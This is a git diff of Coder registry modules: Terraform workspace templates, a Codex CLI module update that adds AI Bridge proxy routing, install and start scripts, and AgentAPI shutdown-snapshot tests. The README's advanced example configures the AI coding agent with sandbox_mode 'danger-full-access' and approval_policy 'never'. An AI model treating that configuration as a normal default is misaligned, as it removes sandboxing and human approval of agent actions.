GIT_AUTHOR_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
GIT_AUTHOR_EMAIL = "${data.coder_workspace_owner.me.email}"
GIT_COMMITTER_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}"
}
display_apps {
port_forwarding_helper = true
vscode = contains(local.apps_selected, "VS Code Desktop")
vscode_insiders = false
web_terminal = true
ssh_helper = true
}
metadata {
key = "cpu"
display_name = "CPU Usage"
interval = 5
timeout = 5
script = "coder stat cpu"
}
metadata {
key = "memory"
display_name = "Memory Usage"
interval = 5
timeout = 5
script = "coder stat mem"
}
metadata {
key = "disk"
display_name = "Home Disk Usage"
interval = 600
timeout = 30
script = "coder stat disk --path ${lower(local.home_dir)}"
}
}
resource "null_resource" "deploy_coder_agent" {
count = data.coder_workspace.me.start_count
triggers = {
init_script = sha256(coder_agent.main.init_script)
token = coder_agent.main.token
}
connection {
type = "ssh"
host = data.coder_parameter.host.value
user = data.coder_parameter.username.value
port = data.coder_parameter.port.value
password = local.ssh_password
private_key = local.ssh_private_key
timeout = "5m"
}
provisioner "remote-exec" {
inline = [
"mkdir -p ${local.coder_cache_dir}",
"coder_sh=${local.coder_cache_dir}/coder.sh",
"log_file=${local.coder_cache_dir}/coder.log",
"cat > $coder_sh << 'EOF'",
"${coder_agent.main.init_script}",
"EOF",
"chmod +x $coder_sh",
"echo \"$(date) : create $coder_sh\" >> ${local.coder_cache_dir}/debug.log",
"nohup env CODER_AGENT_TOKEN='${coder_agent.main.token}' $coder_sh > $log_file 2>&1 &",
"echo $! > ${local.agent_id_file}",
"echo \"$(date) : run $coder_sh and log at $log_file\" >> ${local.coder_cache_dir}/debug.log",
]
}
}
resource "null_resource" "coder_stop" {
count = (try(data.coder_workspace.me.start_count, 1) > 0 ? 0 : 1)
connection {
type = "ssh"
host = data.coder_parameter.host.value
user = data.coder_parameter.username.value
port = data.coder_parameter.port.value
password = local.ssh_password
private_key = local.ssh_private_key
timeout = "5m"
}
provisioner "remote-exec" {
inline = [
"set -u",
"PID_FILE=${local.agent_id_file}",
# Only proceed if PID file exists
"if [ -f \"$PID_FILE\" ]; then",
" PID=$(cat \"$PID_FILE\")",
# Check if it's actually a number and process exists
" if [ -n \"$PID\" ] && echo \"$PID\" | grep -q '^[0-9][0-9]*$' && kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Gracefully stopping process $PID...\"",
# First try graceful termination
" kill -TERM \"$PID\" 2>/dev/null || true",
# Wait and check repeatedly (up to ~15 seconds total)
" for i in $(seq 1 15); do",
" sleep 1",
" if ! kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Process $PID terminated gracefully\"",
" break",
" fi",
# Show we're still waiting (every 5 seconds)
" expr $i % 5 = 0 >/dev/null && echo \"Still waiting... ($i/15 seconds)\"",
" done",
# Final check - only kill -9 if still alive"
" if kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Process $PID did not terminate in time - sending SIGKILL\"",
" kill -KILL \"$PID\" 2>/dev/null || true",
" fi",
" else",
" echo \"No running process found for PID $PID (or invalid PID)\"",
" fi",
" ",
# Clean lean up regardless of whether kill succeeded
" rm -f \"$PID_FILE\"",
" rm -rf ${local.coder_cache_dir} 2>/dev/null || true",
"else",
" echo \"PID file not found: $PID_FILE - nothing to clean up\"",
"fi",
"sync 2>/dev/null || true",
]
}
}
module "coder-login" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/coder-login/coder"
version = "1.1.1"
agent_id = coder_agent.main.id
}
module "cursor" {
count = contains(local.apps_selected, "Cursor") ? data.coder_workspace.me.start_count : 0
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
agent_id = coder_agent.main.id
}
module "vscode-web" {
count = contains(local.apps_selected, "VS Code Web") ? data.coder_workspace.me.start_count : 0
source = "registry.coder.com/coder/vscode-web/coder"
version = "1.4.3"
agent_id = coder_agent.main.id
folder = local.home_dir
port = random_integer.vs_code_port.result
accept_license = true
}

View File

@ -3,7 +3,7 @@ display_name: Codex CLI
icon: ../../../../.icons/openai.svg icon: ../../../../.icons/openai.svg
description: Run Codex CLI in your workspace with AgentAPI integration description: Run Codex CLI in your workspace with AgentAPI integration
verified: true verified: true
tags: [agent, codex, ai, openai, tasks] tags: [agent, codex, ai, openai, tasks, aibridge]
--- ---
# Codex CLI # Codex CLI
@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
```tf ```tf
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "3.1.1" version = "4.1.0"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = var.openai_api_key openai_api_key = var.openai_api_key
workdir = "/home/coder/project" workdir = "/home/coder/project"
@ -22,7 +22,6 @@ module "codex" {
## Prerequisites ## Prerequisites
- You must add the [Coder Login](https://registry.coder.com/modules/coder/coder-login) module to your template
- OpenAI API key for Codex access - OpenAI API key for Codex access
## Examples ## Examples
@ -33,7 +32,7 @@ module "codex" {
module "codex" { module "codex" {
count = data.coder_workspace.me.start_count count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "3.1.1" version = "4.1.0"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = "..." openai_api_key = "..."
workdir = "/home/coder/project" workdir = "/home/coder/project"
@ -41,37 +40,100 @@ module "codex" {
} }
``` ```
### Tasks integration ### Usage with AI Bridge
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
#### Standalone usage with AI Bridge
```tf ```tf
data "coder_parameter" "ai_prompt" { module "codex" {
type = "string" source = "registry.coder.com/coder-labs/codex/coder"
name = "AI Prompt" version = "4.1.0"
default = "" agent_id = coder_agent.example.id
description = "Initial prompt for the Codex CLI" workdir = "/home/coder/project"
mutable = true enable_aibridge = true
}
```
When `enable_aibridge = true`, the module:
- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
```toml
[model_providers.aibridge]
name = "AI Bridge"
base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
wire_api = "responses"
[profiles.aibridge]
model_provider = "aibridge"
model = "<model>" # as configured in the module input
model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
```
Codex then runs with `--profile aibridge`
This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
### Usage with Tasks
This example shows how to configure Codex with Coder tasks.
```tf
resource "coder_ai_task" "task" {
count = data.coder_workspace.me.start_count
app_id = module.codex.task_app_id
} }
module "coder-login" { data "coder_task" "me" {}
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/coder-login/coder"
version = "3.1.1"
agent_id = coder_agent.example.id
}
module "codex" { module "codex" {
source = "registry.coder.com/coder-labs/codex/coder" source = "registry.coder.com/coder-labs/codex/coder"
version = "3.1.1" version = "4.1.0"
agent_id = coder_agent.example.id agent_id = coder_agent.example.id
openai_api_key = "..." openai_api_key = "..."
ai_prompt = data.coder_parameter.ai_prompt.value ai_prompt = data.coder_task.me.prompt
workdir = "/home/coder/project" workdir = "/home/coder/project"
# Custom configuration for full auto mode # Optional: route through AI Bridge (Premium feature)
# enable_aibridge = true
}
```
### Advanced Configuration
This example shows additional configuration options for custom models, MCP servers, and base configuration.
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.0"
agent_id = coder_agent.example.id
openai_api_key = "..."
workdir = "/home/coder/project"
codex_version = "0.1.0" # Pin to a specific version
codex_model = "gpt-4o" # Custom model
# Override default configuration
base_config_toml = <<-EOT base_config_toml = <<-EOT
sandbox_mode = "danger-full-access"
approval_policy = "never" approval_policy = "never"
preferred_auth_method = "apikey" preferred_auth_method = "apikey"
EOT EOT
# Add extra MCP servers
additional_mcp_servers = <<-EOT
[mcp_servers.GitHub]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio"
EOT
} }
``` ```
@ -101,33 +163,6 @@ preferred_auth_method = "apikey"
network_access = true network_access = true
``` ```
### Custom Configuration
For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`:
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "3.1.1"
# ... other variables ...
# Override default configuration
base_config_toml = <<-EOT
sandbox_mode = "danger-full-access"
approval_policy = "never"
preferred_auth_method = "apikey"
EOT
# Add extra MCP servers
additional_mcp_servers = <<-EOT
[mcp_servers.GitHub]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio"
EOT
}
```
> [!NOTE] > [!NOTE]
> If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md). > If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md).
@ -137,7 +172,7 @@ module "codex" {
- Ensure your OpenAI API key has access to the specified model - Ensure your OpenAI API key has access to the specified model
> [!IMPORTANT] > [!IMPORTANT]
> To use tasks with Codex CLI, ensure you have the `openai_api_key` variable set, and **you create a `coder_parameter` named `"AI Prompt"` and pass its value to the codex module's `ai_prompt` variable**. [Tasks Template Example](https://registry.coder.com/templates/coder-labs/tasks-docker). > To use tasks with Codex CLI, ensure you have the `openai_api_key` variable set. [Tasks Template Example](https://registry.coder.com/templates/coder-labs/tasks-docker).
> The module automatically configures Codex with your API key and model preferences. > The module automatically configures Codex with your API key and model preferences.
> workdir is a required variable for the module to function correctly. > workdir is a required variable for the module to function correctly.
@ -146,3 +181,4 @@ module "codex" {
- [Codex CLI Documentation](https://github.com/openai/codex) - [Codex CLI Documentation](https://github.com/openai/codex)
- [AgentAPI Documentation](https://github.com/coder/agentapi) - [AgentAPI Documentation](https://github.com/coder/agentapi)
- [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents) - [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents)
- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge)

View File

@ -113,7 +113,7 @@ describe("codex", async () => {
sandbox_mode = "danger-full-access" sandbox_mode = "danger-full-access"
approval_policy = "never" approval_policy = "never"
preferred_auth_method = "apikey" preferred_auth_method = "apikey"
[custom_section] [custom_section]
new_feature = true new_feature = true
`.trim(); `.trim();
@ -189,7 +189,7 @@ describe("codex", async () => {
args = ["-y", "@modelcontextprotocol/server-github"] args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio" type = "stdio"
description = "GitHub integration" description = "GitHub integration"
[mcp_servers.FileSystem] [mcp_servers.FileSystem]
command = "npx" command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"] args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
@ -215,7 +215,7 @@ describe("codex", async () => {
approval_policy = "untrusted" approval_policy = "untrusted"
preferred_auth_method = "chatgpt" preferred_auth_method = "chatgpt"
custom_setting = "test-value" custom_setting = "test-value"
[advanced_settings] [advanced_settings]
timeout = 30000 timeout = 30000
debug = true debug = true
@ -228,7 +228,7 @@ describe("codex", async () => {
args = ["--serve", "--port", "8080"] args = ["--serve", "--port", "8080"]
type = "stdio" type = "stdio"
description = "Custom development tool" description = "Custom development tool"
[mcp_servers.DatabaseMCP] [mcp_servers.DatabaseMCP]
command = "python" command = "python"
args = ["-m", "database_mcp_server"] args = ["-m", "database_mcp_server"]
@ -454,4 +454,32 @@ describe("codex", async () => {
); );
expect(startLog.stdout).not.toContain("test prompt"); expect(startLog.stdout).not.toContain("test prompt");
}); });
test("codex-with-aibridge", async () => {
const { id } = await setup({
moduleVariables: {
enable_aibridge: "true",
model_reasoning_effort: "none",
},
});
await execModuleScript(id);
const startLog = await readFileContainer(
id,
"/home/coder/.codex-module/agentapi-start.log",
);
const configToml = await readFileContainer(
id,
"/home/coder/.codex/config.toml",
);
expect(startLog).toContain("AI Bridge is enabled, using profile aibridge");
expect(startLog).toContain(
"Starting Codex with arguments: --profile aibridge",
);
expect(configToml).toContain(
"[profiles.aibridge]\n" + 'model_provider = "aibridge"',
);
});
}); });

View File

@ -1,10 +1,10 @@
terraform { terraform {
required_version = ">= 1.0" required_version = ">= 1.9"
required_providers { required_providers {
coder = { coder = {
source = "coder/coder" source = "coder/coder"
version = ">= 2.7" version = ">= 2.12"
} }
} }
} }
@ -71,6 +71,27 @@ variable "cli_app_display_name" {
default = "Codex CLI" default = "Codex CLI"
} }
variable "enable_aibridge" {
type = bool
description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge"
default = false
validation {
condition = !(var.enable_aibridge && length(var.openai_api_key) > 0)
error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
}
}
variable "model_reasoning_effort" {
type = string
description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort"
default = "medium"
validation {
condition = contains(["none", "low", "medium", "high"], var.model_reasoning_effort)
error_message = "model_reasoning_effort must be one of: none, low, medium, high."
}
}
variable "install_codex" { variable "install_codex" {
type = bool type = bool
description = "Whether to install Codex." description = "Whether to install Codex."
@ -110,13 +131,13 @@ variable "install_agentapi" {
variable "agentapi_version" { variable "agentapi_version" {
type = string type = string
description = "The version of AgentAPI to install." description = "The version of AgentAPI to install."
default = "v0.10.0" default = "v0.11.6"
} }
variable "codex_model" { variable "codex_model" {
type = string type = string
description = "The model for Codex to use. Defaults to gpt-5." description = "The model for Codex to use. Defaults to gpt-5.2-codex."
default = "" default = "gpt-5.2-codex"
} }
variable "pre_install_script" { variable "pre_install_script" {
@ -155,17 +176,36 @@ resource "coder_env" "openai_api_key" {
value = var.openai_api_key value = var.openai_api_key
} }
resource "coder_env" "coder_aibridge_session_token" {
count = var.enable_aibridge ? 1 : 0
agent_id = var.agent_id
name = "CODER_AIBRIDGE_SESSION_TOKEN"
value = data.coder_workspace_owner.me.session_token
}
locals { locals {
workdir = trimsuffix(var.workdir, "/") workdir = trimsuffix(var.workdir, "/")
app_slug = "codex" app_slug = "codex"
install_script = file("${path.module}/scripts/install.sh") install_script = file("${path.module}/scripts/install.sh")
start_script = file("${path.module}/scripts/start.sh") start_script = file("${path.module}/scripts/start.sh")
module_dir_name = ".codex-module" module_dir_name = ".codex-module"
aibridge_config = <<-EOF
[model_providers.aibridge]
name = "AI Bridge"
base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
wire_api = "responses"
[profiles.aibridge]
model_provider = "aibridge"
model = "${var.codex_model}"
model_reasoning_effort = "${var.model_reasoning_effort}"
EOF
} }
module "agentapi" { module "agentapi" {
source = "registry.coder.com/coder/agentapi/coder" source = "registry.coder.com/coder/agentapi/coder"
version = "1.2.0" version = "2.0.0"
agent_id = var.agent_id agent_id = var.agent_id
folder = local.workdir folder = local.workdir
@ -196,6 +236,7 @@ module "agentapi" {
ARG_CODEX_START_DIRECTORY='${local.workdir}' \ ARG_CODEX_START_DIRECTORY='${local.workdir}' \
ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \ ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \
ARG_CONTINUE='${var.continue}' \ ARG_CONTINUE='${var.continue}' \
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
/tmp/start.sh /tmp/start.sh
EOT EOT
@ -211,10 +252,16 @@ module "agentapi" {
ARG_INSTALL='${var.install_codex}' \ ARG_INSTALL='${var.install_codex}' \
ARG_CODEX_VERSION='${var.codex_version}' \ ARG_CODEX_VERSION='${var.codex_version}' \
ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \ ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \
ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \ ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \
ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \ ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \
ARG_CODEX_START_DIRECTORY='${local.workdir}' \ ARG_CODEX_START_DIRECTORY='${local.workdir}' \
ARG_CODEX_INSTRUCTION_PROMPT='${base64encode(var.codex_system_prompt)}' \ ARG_CODEX_INSTRUCTION_PROMPT='${base64encode(var.codex_system_prompt)}' \
/tmp/install.sh /tmp/install.sh
EOT EOT
} }
output "task_app_id" {
value = module.agentapi.task_app_id
}

View File

@ -13,6 +13,8 @@ set -o nounset
ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d) ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d)
ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d) ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d)
ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d) ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d)
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d)
echo "=== Codex Module Configuration ===" echo "=== Codex Module Configuration ==="
printf "Install Codex: %s\n" "$ARG_INSTALL" printf "Install Codex: %s\n" "$ARG_INSTALL"
@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech
printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")" printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")"
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
echo "======================================" echo "======================================"
set +o nounset set +o nounset
@ -115,7 +118,7 @@ append_mcp_servers_section() {
[mcp_servers.Coder] [mcp_servers.Coder]
command = "coder" command = "coder"
args = ["exp", "mcp", "server"] args = ["exp", "mcp", "server"]
env = { "CODER_MCP_APP_STATUS_SLUG" = "${ARG_CODER_MCP_APP_STATUS_SLUG}", "CODER_MCP_AI_AGENTAPI_URL" = "${CODER_MCP_AI_AGENTAPI_URL}" , "CODER_AGENT_URL" = "${CODER_AGENT_URL}", "CODER_AGENT_TOKEN" = "${CODER_AGENT_TOKEN}" } env = { "CODER_MCP_APP_STATUS_SLUG" = "${ARG_CODER_MCP_APP_STATUS_SLUG}", "CODER_MCP_AI_AGENTAPI_URL" = "${CODER_MCP_AI_AGENTAPI_URL}" , "CODER_AGENT_URL" = "${CODER_AGENT_URL}", "CODER_AGENT_TOKEN" = "${CODER_AGENT_TOKEN}", "CODER_MCP_ALLOWED_TOOLS" = "coder_report_task" }
description = "Report ALL tasks and statuses (in progress, done, failed) you are working on." description = "Report ALL tasks and statuses (in progress, done, failed) you are working on."
type = "stdio" type = "stdio"
@ -127,6 +130,15 @@ EOF
fi fi
} }
append_aibridge_config_section() {
local config_path="$1"
if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then
printf "Adding AI Bridge configuration\n"
echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path"
fi
}
function populate_config_toml() { function populate_config_toml() {
CONFIG_PATH="$HOME/.codex/config.toml" CONFIG_PATH="$HOME/.codex/config.toml"
mkdir -p "$(dirname "$CONFIG_PATH")" mkdir -p "$(dirname "$CONFIG_PATH")"
@ -140,6 +152,11 @@ function populate_config_toml() {
fi fi
append_mcp_servers_section "$CONFIG_PATH" append_mcp_servers_section "$CONFIG_PATH"
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
printf "AI Bridge is enabled\n"
append_aibridge_config_section "$CONFIG_PATH"
fi
} }
function add_instruction_prompt_if_exists() { function add_instruction_prompt_if_exists() {
@ -185,4 +202,7 @@ install_codex
codex --version codex --version
populate_config_toml populate_config_toml
add_instruction_prompt_if_exists add_instruction_prompt_if_exists
add_auth_json
if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
add_auth_json
fi

View File

@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)"
set -o nounset set -o nounset
ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d) ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d)
ARG_CONTINUE=${ARG_CONTINUE:-true} ARG_CONTINUE=${ARG_CONTINUE:-true}
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
echo "=== Codex Launch Configuration ===" echo "=== Codex Launch Configuration ==="
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")" printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")" printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")"
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS" printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
printf "Continue Sessions: %s\n" "$ARG_CONTINUE" printf "Continue Sessions: %s\n" "$ARG_CONTINUE"
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
echo "======================================" echo "======================================"
set +o nounset set +o nounset
@ -153,7 +155,10 @@ setup_workdir() {
build_codex_args() { build_codex_args() {
CODEX_ARGS=() CODEX_ARGS=()
if [ -n "$ARG_CODEX_MODEL" ]; then if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
printf "AI Bridge is enabled, using profile aibridge\n"
CODEX_ARGS+=("--profile" "aibridge")
elif [ -n "$ARG_CODEX_MODEL" ]; then
CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL") CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
fi fi
@ -182,7 +187,7 @@ build_codex_args() {
if [ -n "$ARG_CODEX_TASK_PROMPT" ]; then if [ -n "$ARG_CODEX_TASK_PROMPT" ]; then
if [ "${ARG_REPORT_TASKS}" == "true" ]; then if [ "${ARG_REPORT_TASKS}" == "true" ]; then
PROMPT="Complete the task at hand in one go. Every step of the way, report your progress using coder_report_task tool with proper summary and statuses. Your task at hand: $ARG_CODEX_TASK_PROMPT" PROMPT="Complete the task at hand in one go. Every step of the way, report your progress using Coder.coder_report_task tool with proper summary and statuses. Your task at hand: $ARG_CODEX_TASK_PROMPT"
else else
PROMPT="Your task at hand: $ARG_CODEX_TASK_PROMPT" PROMPT="Your task at hand: $ARG_CODEX_TASK_PROMPT"
fi fi

View File

@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
```tf ```tf
module "agentapi" { module "agentapi" {
source = "registry.coder.com/coder/agentapi/coder" source = "registry.coder.com/coder/agentapi/coder"
version = "2.0.0" version = "2.1.0"
agent_id = var.agent_id agent_id = var.agent_id
web_app_slug = local.app_slug web_app_slug = local.app_slug
@ -49,6 +49,19 @@ module "agentapi" {
} }
``` ```
## Task log snapshot
Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused.
To enable for task workspaces:
```tf
module "agentapi" {
# ... other config
task_log_snapshot = true # default: true
}
```
## For module developers ## For module developers
For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf). For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf).

View File

@ -257,4 +257,157 @@ describe("agentapi", async () => {
); );
expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *"); expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *");
}); });
describe("shutdown script", async () => {
const setupMocks = async (
containerId: string,
agentapiPreset: string,
httpCode: number = 204,
) => {
const agentapiMock = await loadTestFile(
import.meta.dir,
"agentapi-mock-shutdown.js",
);
const coderMock = await loadTestFile(
import.meta.dir,
"coder-instance-mock.js",
);
await writeExecutable({
containerId,
filePath: "/usr/local/bin/mock-agentapi",
content: agentapiMock,
});
await writeExecutable({
containerId,
filePath: "/usr/local/bin/mock-coder",
content: coderMock,
});
await execContainer(containerId, [
"bash",
"-c",
`PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
]);
await execContainer(containerId, [
"bash",
"-c",
`HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`,
]);
await new Promise((resolve) => setTimeout(resolve, 1000));
};
const runShutdownScript = async (
containerId: string,
taskId: string = "test-task",
) => {
const shutdownScript = await loadTestFile(
import.meta.dir,
"../scripts/agentapi-shutdown.sh",
);
await writeExecutable({
containerId,
filePath: "/tmp/shutdown.sh",
content: shutdownScript,
});
return await execContainer(containerId, [
"bash",
"-c",
`ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
]);
};
test("posts snapshot with normal messages", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "normal");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("Retrieved 5 messages for log snapshot");
expect(result.stdout).toContain("Log snapshot posted successfully");
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(5);
expect(snapshot.payload.messages[0].content).toBe("Hello");
expect(snapshot.payload.messages[4].content).toBe("Great");
});
test("truncates to last 10 messages", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "many");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(10);
expect(snapshot.payload.messages[0].content).toBe("Message 6");
expect(snapshot.payload.messages[9].content).toBe("Message 15");
});
test("truncates huge message content", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "huge");
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("truncating final message content");
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
const snapshot = JSON.parse(posted);
expect(snapshot.task_id).toBe("test-task");
expect(snapshot.payload.messages).toHaveLength(1);
expect(snapshot.payload.messages[0].content).toContain(
"[...content truncated",
);
});
test("skips gracefully when TASK_ID is empty", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
const result = await runShutdownScript(id, "");
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain("No task ID, skipping log snapshot");
});
test("handles 404 gracefully for older Coder versions", async () => {
const { id } = await setup({
moduleVariables: {},
skipAgentAPIMock: true,
});
await setupMocks(id, "normal", 404);
const result = await runShutdownScript(id);
expect(result.exitCode).toBe(0);
expect(result.stdout).toContain(
"Log snapshot endpoint not supported by this Coder version",
);
});
});
}); });

View File

@ -4,7 +4,7 @@ terraform {
required_providers { required_providers {
coder = { coder = {
source = "coder/coder" source = "coder/coder"
version = ">= 2.12" version = ">= 2.13"
} }
} }
} }
@ -18,6 +18,8 @@ data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {} data "coder_workspace_owner" "me" {}
data "coder_task" "me" {}
variable "web_app_order" { variable "web_app_order" {
type = number type = number
